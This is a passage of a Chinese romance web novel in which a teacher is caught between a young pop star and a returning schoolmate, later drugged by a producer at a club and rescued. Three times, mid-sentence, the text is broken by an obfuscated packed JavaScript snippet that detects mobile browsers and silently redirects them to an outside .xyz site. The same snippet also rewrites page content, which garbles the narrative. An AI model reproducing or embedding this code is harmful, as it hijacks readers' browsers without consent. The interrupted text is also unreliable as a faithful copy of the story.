“不过”,他的目光状似无意地落在姜雪身上,“既然是考试,为了保证节目效果和嘉宾们的表现,我觉得学校应该安排老师,专门对我们进行考前辅导。” 姜雪立刻明白了他的意图,但在众目睽睽之下,她也无法拒绝。 “那就……考中国历史吧”,她硬着头皮开口,“这个科目相对来说会简单些。我们可以出一些基础知识点,别太难为他们了。” 事情就这么定了下来。 散会后,姜雪被黄丽叫住,假惺惺地安抚了几句,无非是“学校的安排也是为了节目效果”“姜老师年轻有为,要多承担一些”之类的场面话。 姜雪敷衍地应着,心里却像压了块石头。 晚上七点整,姜雪按响了烬野公寓的门铃。 门很快被打开,烬野穿着简单的白T恤和黑色休闲裤,看起来格外清爽。 她走进客厅,发现茶几上整齐地摆放着笔记本、历史教材和几本参考书。看来他是认真的。 “我们先从朝代顺序开始”,姜雪坐下来,拿出自己准备的教案,“这是基础知识。” 她详细地讲解了中国历史上的主要朝代,从夏商周一直到清朝,并标注了重要的历史事件和人物。 “这些是重点”,她在笔记上圈出几个朝代,“你先把这些背下来,一个小时后我检查。” 她交代完,便拿起自己带来的一本专业书籍,窝在沙发一角安静地看了起来。 书房里,烬野摊开历史书,却没有立刻开始背诵。 他的目光时不时地透过半开的房门,望向客厅里的身影。 他拿出手机,调整好角度,趁着姜雪看得入神之际,飞快地按下了快门。 他将照片设置成了手机壁纸,嘴角抑制不住地上扬。 一个小时后,姜雪合上书,走到书房门口敲了敲,“时间到了,我来检查一下。” 烬野打开门,“我已经背完了。” 姜雪随机提问了几个朝代的顺序和重要事件,他都对答如流。 “不错”,姜雪有些惊讶,“你学得很快。” “我有个好老师嘛”,烬野笑道,“而且,我一直都很喜欢历史。” 姜雪正要继续讲解下一部分内容,手机铃声突然响了。 电话那头传来郑乃宁兴奋的声音:“姜雪,韩承回国了!” 15. 第 15 章 姜雪站在中餐厅门口,视线穿过玻璃门寻找着熟悉的身影。 韩承比约定时间早到了,他正坐在靠窗的位置,低头翻阅着手中的文件。 他今天穿了件深色衬衣,整个人比大学时代更成熟了,眉宇间多了些沉稳。 他听到推门的声音,下意识地抬头,眼中闪过惊喜,“姜雪!” 她快步过去,在他对面坐下,“师兄,好久不见。” “有六年了吧?”韩承笑道:“你还是和大学时候一样,一点没变。” 姜雪不自在地摆摆手,“少来这套。倒是你,现在可是大作家了,风光得很啊!” 服务员送来菜单,韩承点了几道菜,又问姜雪有什么想吃的。 “都行,你点吧”,姜雪将菜单推回给他,“你对吃的一向很有研究。” 韩承给她倒了杯茶,“听说你现在在私立高中教书?” 姜雪点点头,“嗯,有几个月了。” “怎么不在原来那所重点高中了?我记得你当初考上那所学校,可是让我们这些师兄师姐都羡慕得不行。” 姜雪的表情微微一僵,随即勉强笑了笑,“换个环境,也挺好的。” 韩承察觉到她的不自在,转了个话题:“本来想让乃宁也一起来的,她说走不开。” “小家伙发烧了,她忙着照顾”,姜雪轻声道:“她现在可是一个合格的妈妈了。” 韩承眼中满是感慨:“真难想象,那个当年在校报编辑部大呼小叫的郑乃宁,现在也升级为宝妈了。还记得大学那会儿,我们三个在校报编辑部,天天熬夜赶稿子,累得跟狗一样。” “是啊,但是又觉得很开心”,姜雪端起茶杯,抿了一口,“郑乃宁现在是收租小富婆,你是网文大神,只有我,还是个普通老师,最失败了。” 韩承皱了皱眉,“怎么会?你以前可是我们编辑部文笔最好的,每次你写的稿子都让我们佩服得五体投地。” “那都是过去的事了。” “我记得你当时写的那篇《山河无恙》,获得了全国文学一等奖,多少人羡慕你啊。” 姜雪笑了笑,“都是年少轻狂的产物。现在想想,那些文字太青涩了。” “别那么说,都是真情实感”,韩承认真地看着她,“比起我现在写的那些迎合市场的东西,你的文字才是最有灵魂的。” “而且,你选择当老师,高尚得多”,韩承顿了顿,继续道:“你是在真正地影响一些人,做有价值的事情。” 姜雪没想到他会这么说,一时不知如何回应,但心里那块自我否定的阴影,似乎淡了些。 服务员端上了第一道菜,打破了短暂的沉默。 姜雪转移话题,“你这次回国是为了什么?” 韩承夹了一筷子菜放到她碗里,“有一部小说卖了版权,电视剧正在筹备当中,我回来是为了定主题曲的事情。” “恭喜啊!”姜雪真心为他高兴,“哪部小说?我看过吗?” 韩承说了个名字,“是去年网上挺火的一部古代虐文。” “原来是那部!”姜雪恍然大悟,“我那些学生很喜欢,她们说虐得好几晚没睡着。” 韩承得意地笑了。他划了几下手机屏幕,“我还有个事情想八卦一下。” 他把手机怼到姜雪面前,上面是挂了几天的热搜,“这个是不是你啊?你和那个帅哥,是不是有什么情况?” 姜雪没想到他会直接问这个。 她皱了皱眉,坚决否认,“都是节目组为了制造话题炒作的。我只是学校派去配合节目的老师,跟那个烬野,就是普通的工作关系。” “不会吧?我看网上那些照片啊视频啊,挺像真的啊?”韩承故意逗她。 姜雪很无奈地叹了口气:“我对他这种小我好几岁的弟弟,没想法。” 这顿饭吃得很轻松,两人聊了很多过去的事情,不知不觉就到了晚上九点多。 韩承结了账,坚持要送姜雪回家。 轿车在夜色中平稳行驶,很快就到了她住的居民楼楼下。 姜雪解开安全带,正要道谢下车,却在路边看到了一辆越野车。 那是烬野的车,她认得那个车牌号。 姜雪心里一惊,不由自主地多看了几眼。 车窗是深色的,看不清里面的情况,但她几乎可以肯定,烬野就在车里。 “怎么了?”韩承顺着她的视线看去。 “没什么”,姜雪收回目光,“那辆黑车,是烬野的。” 韩承意味深长地“哦”了一声,“看来你们之间的关系,比你说的要复杂得多啊。” 他若有所思地看着那辆车,突然笑了,“姜雪啊,如果你真的不想跟那个弟弟有什么牵扯……我有个办法,不过你得配合我一下。” 姜雪愣了一下,“什么办法?” 韩承倾过身,凑近她,“我亲你一口。” 姜雪瞬间瞪大了眼睛,她压低声音惊呼,“师兄!你开什么玩笑!” “没开玩笑”,韩承直起身,“他一直纠缠你对吧?这样他就知道你有男朋友了,自然会放弃。” 姜雪看着他眼里的光芒,犹豫了几秒,“行吧。” 她咬了咬牙,豁出去了,“大家那么熟了,我忍一下。” 她闭上眼睛,即便知道是演戏,心跳还是快得像要冲出胸腔。 韩承笑了笑,没有真的亲上去,只是在她脸颊旁边借位了一下。 他相信,以烬野的观察力,这个角度就足够了。 姜雪下了车,脚步匆匆地走向单元门。 她没有扭头看越野车,也没有看韩承的车,她只想快点逃离这个尴尬的场面。 韩承的车在她身后缓缓启动,离开了小区。 就在姜雪要上楼的时候,一道身影迅速从越野车里下来。 “姜雪!”烬野的声音带着压抑不住的怒意。 姜雪停下脚步,转过身。她看着他因为愤怒而微微扭曲的脸,生出一种破罐子破摔的冲动。 “有事吗?”她的语气很冷淡。 烬野大步走到她面前,眼神紧紧盯着她,像是要从她脸上看出什么破绽,“刚才车里那个人是谁?” 姜雪微微抬起下巴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15627021|172420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“我新交的男朋友。” 烬野的瞳孔猛地收缩,“男朋友?” 他的声音里带着不可置信,“你不是说不想谈恋爱吗?” 姜雪看着他受伤的神情,心情有些复杂。 她知道自己这样做不好,但这大概是最能快刀斩乱麻的方法。 “我说过不想和你谈恋爱,但没说不想和其他人谈。而且我想不想,也无需向你报备好吗?”她反问他,眼神里带着挑衅。 “姜雪,我们需要谈谈”,他努力控制着自己的情绪。 她故意冷笑一声,“我和你没什么好谈的,我已经很明确地表达过我的立场了。” 就在这时,韩承的车又开了回来。 他降下车窗,脸上带着看好戏的笑容,“姜雪,我好像落了点东西在你家,得上去取一下。” 他下车走到姜雪身边,很自然地将手臂搭在了她的肩膀上,姿态亲密。 他看向烬野,眼中带着轻蔑,“这位是?” “哦,他啊”,姜雪顺着他的话,语气随意地介绍,“一个同事。” “同事?”韩承挑了挑眉,看向烬野的眼神更加玩味。 “姜雪眼光还是不错的,不过这位小弟弟看起来年纪不大啊……”他摇了摇头,没有继续说下去,但意思已经很明显了。 烬野的脸色彻底黑了下来。 他看着韩承搭在姜雪肩膀上的手,眼睛里像是要喷出火来。 他想上前一步,将那只手从她身上拿开,但他知道,现在不是时候。 “我是谁不重要”,烬野冷冷地说,目光却始终锁定在姜雪身上,“重要的是,我希望你能想清楚,你到底想要什么。” 他这句话意味深长,既是对姜雪的提醒,也是对韩承的警告。 韩承却笑了,笑得十分爽朗,“小弟弟,有些事情,不是靠年轻和冲动就能得到的,我比姜雪大四岁,正好合适。” 他拍了拍姜雪的肩膀,动作亲昵,“姜雪喜欢成熟稳重的,能给她安全感的男人。还有,我们是同一个世界的人,有共同语言,共同回忆。” 字字句句都像是在扎烬野的心。 特别是“共同回忆”这个词,仿佛在暗示他们之间有着他不知道的过去。 他的拳头握紧又松开。 他想反驳,想告诉韩承,他也能给姜雪安全感,甚至更多。 但他发现,在韩承这种带着上位者姿态的压制面前,他竟然有些无力。 他确实太年轻了,他的那些小心思和冲动,显得那么幼稚。 韩承还故意将姜雪往自己身边拉了拉,“小朋友,别太执着了。姜雪已经有主了,你还是去找同龄的小姑娘吧。” “韩承!”姜雪低声制止他,这话说得太过了。 “我们上去吧”,韩承没有再看烬野,揽着姜雪的肩膀就要离开。 姜雪被韩承突如其来的动作弄得有些僵硬,但为了配合他,她没有挣扎。 她看了烬野一眼,眼神里带着复杂,但很快又移开了。 烬野看着楼上亮起的灯,恨恨地踹了自家车子一脚。 16. 第 16 章 姜雪到家后,依旧能感受到韩承那“亲密接触”带来的余震。 她深吸一口气,主动拨通了他的电话,“师兄,刚才谢谢你。” “别客气,对付这种小年轻,我还是有经验的”,韩承在电话那头轻笑,“他还在你楼下站岗呢?” 她走到窗前,轻轻拉开一点窗帘的缝隙。烬野的车还停在楼下,车灯亮着,却没有要离开的迹象。她对着电话“嗯”了一声。 “你确定只是觉得他烦,没有一点点喜欢吗?”韩承突然问道。 姜雪愣了一下,“师兄,我现在只想好好教书,不想惹麻烦。” “好吧好吧,你别生气,我就是问问”,韩承换了个话题,“对了,我那部小说改编的剧,烬野要唱主题曲,明天我得和他见面聊这事。” “什么?”姜雪声音陡然提高,一种不祥的预感涌上心头。 “看来你不知道?”韩承也有些意外,“项目组挑中了他,说是他的嗓音最适合我那部虐文的气质。” 姜雪闭上眼睛,觉得事情越来越复杂了,“你明天见他的时候……” “我知道分寸,放心吧”,韩承打断她,语气轻松,“不会添乱的。” 挂断电话后,姜雪坐在沙发上发呆。 她拿起手机,犹豫了一会,最终还是打开了微信,给烬野发了一条消息:【回去吧,别在楼下待着了。】 消息发出去不久,楼下引擎声响了起来。 她放下手机去洗澡,出来时看到烬野的回复:【姜雪,我没有放弃。】 她盯着这行字看了很久,将手机扔到了一旁。 —————————— 毛远站在会议室门口,心里有些忐忑。烬野一般很准时,但今天迟到了十五分钟才出现。 他脸色很不好,眼底带着明显的血丝。 毛远低声问:“你昨晚又没睡?” 烬野一言不发地推开了咖啡厅的门。 韩承已经在里面等待,看到烬野进来,他意味深长地笑笑。 他主动伸出手:“烬野先生,久仰大名。” 烬野勉强握了握,在他对面坐下。 “听说你即将为我的小说改编剧演唱主题曲,非常期待”,韩承打开话题,语气轻松。 烬野点点头,声音冷淡:“我会尽力的。” 工作人员端上茶水,三人短暂地陷入沉默。毛远感觉到空气中弥漫着一种诡异的气氛,但又说不出问题出在哪里。 “我看过烬野先生的一些作品,声音很有特点”,韩承继续说道,“不过,今天见面主要是想聊聊你对这部小说的理解。毕竟,只有真正理解了故事的内核,才能唱出灵魂,对吧?” 烬野抿了一口热茶,“我读过您的小说。” “哦?指点一下?”韩承来了兴趣。 “先婚后爱的古代虐文,确实是时下流行的题材”,烬野放下茶杯,直视韩承的眼睛:“但说实话,有些情节让我难以理解。” “哪些部分?”韩承似乎早有预料,笑容不减。 “比如说,主角为了各自的国家利益,明明相爱却互相算计,甚至背叛对方”,烬野的声音带着明显的嘲讽,“这样的情节设定,不会显得很假吗?” 韩承挑了挑眉,“这只是艺术表达的一种手法。” 烬野不置可否地嗤了一声,“到了后期,两个人依然有那么多猜忌和误会,反反复复,跟裹脚布似的。说实话,我不知道这种小说的受众到底是谁。” 空气瞬间凝固。 毛远在一旁听得心惊肉跳,烬野是在明目张胆地质疑韩承的创作能力,她只能不停地给他使眼色。 然而韩承并没有生气,他只是轻轻笑了笑,端起茶杯。 “烬野先生,你比我想象的还要年轻”,韩承的语气带着怜悯,“你觉得假,是因为你没有经历过那种身不由己和权衡利弊。你总以为世界是非黑即白的,这种思维方式……” 他停顿了一下,缓缓道:“说实话,我很好奇你是怎么在娱乐圈生存下来的。” 这句话彻底击中了烬野的痛点。他的脸色沉了下来,周身散发着低气压。 “韩承先生,我想我们还是说回创作吧”,毛远赶紧出来打圆场,“关于主题曲的风格定位,您有什么具体的建议吗?” 韩承收起挑衅的表情,温和地转向毛远:“当然,我这里有一些构思。” 接下来的会谈气氛虽然缓和了些,但始终弥漫着一种微妙的敌意。烬野几乎不说话,只是冷漠地听着韩承和毛远讨论细节。 会面结束后,烬野起身就要离开,但韩承叫住了他。 “烬野先生,我们可能之前有些误会”,韩承的声音听起来很真诚,“昨晚的事情……” “我不想谈论私事”,烬野不耐烦地打断他的话。 “好吧,希望我们合作愉快”,韩承顿了顿,笑了:“对了,姜雪让我代她问候你,希望你能理解她的选择。” 烬野没有回答,转身离开。 毛远追上去,担忧地问道:“你还好吗?要不要考虑换个项目?” 烬夜摆摆手,“我会完成这首歌。” 他咬着唇走向停车场,胃部隐隐作痛。 —————————— 下午是第四期节目的录制。 教室里安静得能听见钟表的滴答声,姜雪站在讲台上监考,不时抬头看一眼正在考试的明星和学生 她的目光落在烬野身上。 他正低头认真答题,表情严肃,看起来完全投入到了考试中。 她不禁回想起十年前支教时的场景。 那时候的颜念潮也是这样专注地盯着试卷,皱着眉头思考问题。那时候的他成绩还算不错,如果不是家中徒然生变,至少也能考个普通大学吧。 突然,烬野的表情变得有些痛苦,他的一只手按在胃部,身体微微前倾。 姜雪注意到了这一变化,皱起眉头。 就在这时,他的笔从手中滑落,掉在地上发出轻响。他弯腰去捡,却在半途中突然僵住了身体。他整个人摇晃了一下,重重地栽倒在地。 “烬野!”姜雪惊呼一声,立刻冲过去。 教室里顿时一片混乱,摄像机对准了倒地的烬野,学生们惊慌地站起身。 姜雪蹲下来,轻拍烬野的脸:“烬野?你怎么了?能听见我说话吗?” 烬野的脸色苍白,额头上冒着冷汗,但意识还算清醒。 “没事,可能低血糖”,他虚弱地回了句,试图坐起来。 姜雪立刻制止了他:“我们去校医室。” 在导演的示意下,两名工作人员上前来搀扶烬野。姜雪让另一位老师接替她的监考工作,自己则跟着一起去了校医室。 校医简单检查后,确认他是低血糖和胃痛引起的短暂晕厥。 “需要去医院吗?”姜雪很担忧。 “不用,休息一下就好”,烬野靠在校医室的床上,声音依旧虚弱。 “你需要吃点东西”,姜雪转身对节目组的工作人员说:“能不能帮忙买点热粥来?” 工作人员点点头,迅速离开了。 校医室里只剩下姜雪和烬野两个人。摄像机被暂时关闭,给烬野一点私人空间。 姜雪坐在床边的椅子上,看着他苍白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630116|172420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的脸色,心里有些不忍,“你中午吃了么?” 烬野转过头,看了她一眼,不说话。 “你不能这样对待自己的身体”,姜雪的语气严厉起来。 “我没想到你会关心我”,烬野突然说道,声音里带着些许讽刺,“你不是有韩承了吗?” 姜雪愣了一下,刚要解释,工作人员带着热粥回来了。他将粥放在床头柜上,然后识趣地离开了。 姜雪打开粥盒,舀了一勺,递到烬野面前:“先吃点东西。” 烬野扭过头去,拒绝进食:“我不饿。” “烬野!”姜雪有些生气了,“别像个小孩子一样耍脾气!” “我不是在耍脾气”,烬野的声音冷了下来,“我只是不明白,为什么你的举动总是这样?一会儿关心我,一会儿又推开我;你说过不想谈恋爱,却又和韩承在一起。姜雪,你到底想怎么样?” 他说着话,又痛苦地捂住了胃部,整个人蜷缩成一团。他的额头上冒出大颗的冷汗,脸色更加苍白了。 姜雪被吓坏了,立刻放下粥碗,扶住他的肩膀:“我们去医院好不好?” “不用,我已经习惯了”,烬野咬着牙,声音却因疼痛而颤抖,“我等下吃点药缓解就行了。你回去吧,不用管我。” 姜雪看着他痛苦的样子,心里一紧。她拿出手机:“那我给你经纪人打个电话,让她来接你。” “不要!”烬野突然伸手抓住了姜雪的手腕,“不要告诉她。” 他的力道有点大,疼得姜雪嘶了一声。 他连忙松开手,“我不是故意的,但你别告诉毛远,她如果知道我胃病又犯了,会停掉我接下来的工作。” 姜雪放下手机,皱眉看着他:“你的身体这么糟糕,还这么拼命工作做什么?” 烬野深吸一口气,似乎是在努力控制疼痛:“你不懂,在这个行业里,一旦停下来,就会被淘汰。我们每天都是高强度的行程,除了连续演出和熬夜创作,还有各种活动和拍摄。按时吃饭休息?那是奢侈品。” “我刚进公司的时候,为了一个舞台机会,可以三天三夜不合眼排练。为了写出一首满意的歌,我也试过把自己关在录音室里一周,只靠咖啡和泡面度日。” 他的声音越来越低,情绪却越来越激动:“很多时候,工作不仅仅是我一个人的事,整个项目组有几十上百人等着我。如果我因为一点小病就停工,会影响多少人的工作和收入?” 姜雪静静地听着,忽然意识到,这个比她小三岁的男人,肩膀上扛着的责任和压力,比她想象的要重得多。 “你现在已经功成名就了,可以减少点工作”,姜雪轻声劝他,“钱是赚不完的,名气也是。” 烬野看着她,“我是为了可以和你站在一起。” 他的声音很轻,却像一颗巨石投入平静的湖面,激起千层浪。 “以前我知道,我们不配。” “所以我一直都在努力,努力缩小我们之间的差距。” 姜雪的心脏猛地一缩,有些喘不过气。 她没想到,他会说出这样的话。 那些看似荒唐的炒作,那些幼稚的纠缠,背后竟然是这样沉重又执着的念头。 她一时之间不知道该如何回应,只能狼狈地移开视线。 她最终将粥放在烬野手边,“我先回去了,导演那边还等着我。你好好休息,把粥吃了。” 烬野没有说话,只是点了点头。 姜雪走到门口,又回头看了一眼。烬野靠在床上,闭着眼睛。他的脸色依然苍白,但表情已经平静了许多。 她摁下心头的情绪,关上了门。 17. 第 17 章 夜晚的风带着微凉,吹拂着窗帘。 姜雪坐在办公桌前备课,却看不进去任何一个字。 她想起以前外婆因为胃癌住院时,医生开过一种进口胃药,效果出奇的好,只是购买渠道有些麻烦。 念头一旦升起,便再也按捺不住。 她抓起外套和手机,小跑着出了门。 她沿着街道,一家家寻找,在跑过几条街后,终于在一家不起眼的药店找到了那款药。 她站在路灯下,捏着药盒,心里却更加矛盾。 她不想再和烬夜有过多不必要的牵扯,可是一想到他今天下午的痛苦模样,她又做不到置之不理。 她想了想,掏出手机拨通了节目组导演的电话,“导演,这么晚打扰您不好意思。” “姜老师啊,客气了,有什么事吗?”导演的声音带着几分酒后的含糊。 “今天下午烬野的胃不太舒服,我这里有常备的药,想麻烦您带给他。” 导演有点惊讶:“烬野?他现在正在陪几位制作人喝酒呢。” 姜雪的心猛地一沉。 喝酒? 他不要命了吗? 下午胃痛成那样,晚上还敢去酒局! “导演,您能把地址发给我吗?”她的声音不自觉地带上急切的担忧。 “姜老师,这……不太好吧?” “他那样喝酒,万一胃出血怎么办?”姜雪的语气不容置喙,“我把药给他送过去。” 此刻,城中某家高级会所的包厢内,空气混浊,酒气熏天。 烬野面无表情地端着酒杯,听着身边油光满面的制作人高谈阔论。 “烬野啊,你这首主题曲,我可是寄予厚望啊”,制作人张窦窦挺着啤酒肚,笑得眼睛眯成一条缝。 他身旁坐着一个衣着暴露,妆容精致的年轻女孩,正努力地往烬野身边凑。 烬野蹙了眉。 “来,我给你介绍一下,这是我们公司力捧的新人,陈雅”,张窦窦搂过女孩的肩膀,“我有个想法,不如让你和陈雅合唱一首,互相带动一下人气,怎么样?” 陈雅立刻露出甜腻的笑容,眼神像钩子一样盯着烬野:“烬野老师,我很仰慕您的才华,能和您合作是我的荣幸。” 烬野的目光在她脸上短暂停留,没有丝毫波澜。 这个女孩,他有点印象,最近靠着几张精修硬照和水军营销,在网络上炒出了一点虚火,实际上唱功平平,毫无特色。 与这样的人合作,只会拉低他作品的质量,粉丝那边恐怕也会掀起轩然大波。 “张哥”,烬野放下酒杯,声音冷淡,“我的歌,不适合对唱。” 张窦窦脸上的笑容僵了一下。 毛远见状,连忙笑着打圆场:“张哥,烬野的意思是,他这首歌如果改编成男女对唱,怕影响了陈雅的发挥。” 她不动声色地拉了拉烬野的衣袖,将他带到包厢外僻静的角落。 “你疯了?张窦窦是什么人你不知道吗?得罪他,你以后还想不想接影视剧的资源了?”毛远压低声音警告。 “那种歌,我不屑唱”,烬野眼神冷冽。 “不屑?”毛远深吸一口气,“我知道你心里不舒服,但人在屋檐下,不得不低头。这次你卖他一个面子,后续他会给我们更多的好处。” 烬野沉默地看着窗外城市的霓虹,光怪陆离,却照不进他此刻晦暗的心底。 解约的念头,像藤蔓一样疯狂滋长。 他疲惫地闭了闭眼,再睁开时,眼底已是一片漠然,“我知道了。” 重新回到包厢,烬野同意了与陈雅的合作,席间的气氛再次热络起来。 只是他眉宇间的疏离与厌恶,却愈发浓重。 姜雪按照导演发来的地址,找到了那家会所。 她走进了金碧辉煌的大厅,按照接待员的指引乘电梯上楼。 与此同时,另一部电梯门打开,烬野在毛远的陪同下走了出来,径直走向停车场。 两人就这样在不同空间的垂直线上,擦肩而过。 姜雪来到包厢门口,推开一条门缝。 里面光线昏暗,烟雾缭绕,几个男人正围着一个浓妆艳抹的女人划拳嬉笑,全然没有烬野的身影。 她正疑惑着,一个喝得醉醺醺的男人注意到她。 “哟,又来了个妹妹?”张窦窦摇摇晃晃地走过来,眼神在她身上肆无忌惮地打量。 他把姜雪一把拉了进房,显然把她也当成了那些闻讯而来的外围女。 “不好意思,我找人”,姜雪蹙眉,想退出去。 “找谁啊?进都进来了,喝一杯再走嘛”,张窦窦不由分说地拉住她的手腕,将一杯颜色诡异的酒塞到她手里。 “我不喝酒,我找烬野”,姜雪试图挣脱。 “烬野啊,他到别的包厢去了”,张窦窦的力气很大,笑容油腻,“你喝一点,我带你找他。” 旁边的人也跟着起哄。 姜雪心中焦急,只想尽快离开这个乌烟瘴气的地方。 她想着或许只抿一小口应付一下就能脱身,便仰头喝了一点。 酒液滑入喉咙,带着一股甜腻的果香,但随即一股异样的燥热从小腹升起。 她心头一惊,暗道不好,“你……你在酒里放了什么?” 张窦窦见她眼神迷离,脸上露出得逞的笑容。他扶住她瘫软的身体,“妹妹累了吧?楼上就有房间,哥哥带你去休息。” 姜雪想要挣扎,但身体已经不听使唤。她感到自己被带进电梯,然后是走廊,最后是一个陌生的房间。 意识即将消失前,她努力掏出手机,想要拨打电话求救,但手机从她无力的手中滑落,跌在地毯上。 张窦窦走过来,弯腰捡起手机,扔在一旁,“别挣扎了,放轻松,我保证让你舒服。” 姜雪感到阵阵恶心和绝望。她眼前一黑,彻底失去了意识。 —————————— 烬野坐在车里,指尖的烟猩红明灭。 他弹了弹烟灰,拿起响着铃声的电话。 导演的声音从听筒里钻出来:“烬野啊,姜老师刚才给我打电话了,说是给你送胃药。你见到她人没有?” 烬野的心脏漏跳了一拍,声音瞬间绷紧,“你告诉她我在哪了?” “我把会所地址 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15633936|172420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给她了啊,她说过来找你”,导演在那头似乎有些茫然。 那个会所,张窦窦那种人……一种强烈的不安攫住了烬野。 “掉头!回刚才的会所!快!”他对着司机低吼,额角青筋不受控制地跳动,眼底是从未有过的慌乱。 会所那大门再次映入眼帘,却显得无比刺目。 烬夜甚至没等车完全停稳,就拉开车门冲了进去。 走廊里依旧人影晃动,靡靡之音不绝于耳。 他抓住一个路过的服务生,声音沙哑得可怕:“刚才,是不是有个女人去找张窦窦?” 服务生被他满身的戾气吓了一跳,结结巴巴地回答:“是……是的,好像带她上楼了,在……VIP套房那边。” “哪个房间?”烬野的眼睛里布满了血丝,像一头濒临失控的野兽。 服务生颤抖着报出一个房号。 烬野甩开他,径直冲向电梯。 电梯门打开的瞬间,他几乎是撞了进去,然后疯狂按着楼层按钮。 每一秒等待都像一个世纪那样漫长。 他冲出电梯,在幽暗的走廊里终于找到了那个房号。 门虚掩着,里面隐约传来男人的□□和女人微弱的呜咽。 烬野的心脏像是被一只无形的手狠狠攥住,几乎停止了跳动。 他一脚踹开了房门。 房间里,刺鼻的酒气扑面而来。 张窦窦正压在一个身影上,女人的衣衫被撕扯得凌乱不堪,露出了大片雪白的肌肤。 那张熟悉的脸,泛着不正常的潮红,显然是中了招。 是姜雪。 烬野只觉得一股滚烫的怒火从胸腔直冲头顶,理智瞬间断裂。 他像一头暴怒的狮子,冲过去一把将张窦窦从姜雪身上掀开,狠狠一拳砸在他的脸上。 “我操!你疯了?”张窦窦被打得眼冒金星,口鼻窜血,一边痛呼一边试图反抗。 烬野充耳不闻,落在张窦窦身上的每一拳都用尽了全力,骨节撞击皮肉发出沉闷的声响。 他要杀了这个杂碎! 姜雪蜷缩在床上,意识模糊。她努力睁开眼睛,只看到一个颀长的身影正疯狂地殴打着另一个人。 那个背影,有些熟悉。 直到张窦窦被打得奄奄一息,再也发不出声音,烬野才停了手。 他喘着粗气,胸膛剧烈起伏,猩红的眼睛里满是杀意。 他快步走到床边,看到姜雪衣衫不整的样子,心疼得像是被刀割。 他迅速脱下自己的外套,将她瑟瑟发抖的身体紧紧裹住。 “姜雪,我来了”,他的声音因为愤怒而颤抖,却又带着安抚的温柔。 姜雪似乎辨认出了他的声音,涣散的瞳孔微微聚焦。她抓住了他的手臂,像是抓住了救命稻草。 “小潮……”她无意识地呢喃出了十年前她喊他的名字。 烬野愣了愣,喉咙一哽,“没事,我和你回去。” 他打横抱起她,动作尽量轻柔,仿佛怕碰碎一件珍宝。 他没有再看一眼地上哼哼唧唧的张窦窦,带着她头也不回地离开了这个肮脏的地方。